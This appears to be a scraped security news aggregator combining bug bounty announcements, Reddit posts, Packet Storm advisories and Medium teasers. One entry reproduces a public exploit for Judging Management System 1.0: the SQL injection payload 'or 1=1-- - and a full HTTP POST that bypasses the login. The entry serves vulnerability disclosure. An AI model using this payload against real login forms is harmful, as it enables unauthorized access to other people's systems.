Announcing the launch of Gametree Bug Bounty Program

<Intro>Continue reading on Gametree.gt »
Read more...

hacking: security in practice
samsung 5s completely dead

is it possible to kill a phone and not have any physical proof of tampering? (unless taken to a professional)

I have an old phone with a lot of stored passwords and photos and I think someone I live with went into my room while I was away and did something to it but I have no proof of this (however things have gone missing in my room conveniently whenever I leave the house or go into the shower so I'm not just being paranoid)

the battery works fine and windows also makes that noise when i connect it to my computer but it doesn't show up nor does the screen turn on or vibrate when i insert the charger I've never dropped it but just randomly stopped working one day,

is there any software that can help with issue?

submitted by /u/Tsumi_no_sensei49
[link] [comments]

hacking: security in practice
I'm Building a Self-destructing USB Drive

https://external-preview.redd.it/EO3ACaL22uGRidzNwedo9ctj3fV2agaHPT4EMlWlsvc.jpg?width=320&crop=smart&auto=webp&s=da90512ad1e951b5d64e9591f3d04953b8fb8359 submitted by /u/Machinehum
[link] [comments]

Announcing the launch of Gametree Bug Bounty Program
https://medium.com/gametree-gt/announcing-the-public-launch-of-gametree-bug-bounty-program-3f7a536f7ca4?source=rss------bug_bounty-5

Continue reading on Gametree.gt » (https://medium.com/gametree-gt/announcing-the-public-launch-of-gametree-bug-bounty-program-3f7a536f7ca4?source=rss------bug_bounty-5)

Exploit Collector
CANAL+ / Microsoft PlayReady Cryptography Shortcomings / Authorization Bypass

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
Security Explorations conducted a security analysis of Microsoft Play Ready content protection technology in the environment of the CANAL+ SAT TV provider. As a result, complete access to movie assets and content keys available in the CANAL+ VOD library could be gained with the use of a fake client device identity. Microsoft and CANAL+ have seemingly decided to ignore this large laundry list of failures.

SHA-256 | ae147b5df942976857f81fb745ba330474556562626f4e5abf76e56fe99dca24

Download
Source:packetstormsecurity.com

Exploit Collector
Judging Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Judging Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

SHA-256 | 52c0e04fae6ca307aa21417a61ea5886413834dee6a4ddc9826d696b899a914a

Download
# Exploit Title: Judging Management System v1.0 - Authentication Bypass
# Date: 12/11/2022
# Exploit Author: Angelo Pio Amirante
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 on XAAMP server

# Vulnerability: An attacker can bypass login page and access to dashboard page
# Vulnerable file: login.php
# Exploit:

1) Go to: http://localhost/php-jms/index.php
2) As username use this payload: 'or 1=1-- -
3) Use random words for password
POST /php-jms/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/php-jms/index.php
Cookie: wp-settings-time-1=1669938282; _pk_id.1.1fff=9c7644c9d84f46f1.1670232782.
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=%27or+1%3D1--+-&password=asa


Source:packetstormsecurity.com

Hacking on Medium
What Measures Should You Take To Keep Your Data Safe Online And/Or Offline?

https://cdn-images-1.medium.com/max/600/1*SOqOMWYodg9pFTXtdVAowA.png
As a responsible and mindful individual, it is important to take measures to keep your personal data safe, both online and offline. This…

Continue reading on Medium »

Hacking on Medium
Ethical Hacking Deauth Attack

https://cdn-images-1.medium.com/max/1023/0*yDL5rioB_eG7ylGc
Introduction:

Continue reading on Medium »

Hacking on Medium
Machine: Poisoning

https://cdn-images-1.medium.com/max/1073/1*fC5nOxFOQ517Si7tS6mdgQ.png
Se trata de um Pentest black box, onde não temos nenhuma informação além do IP.

Continue reading on Medium »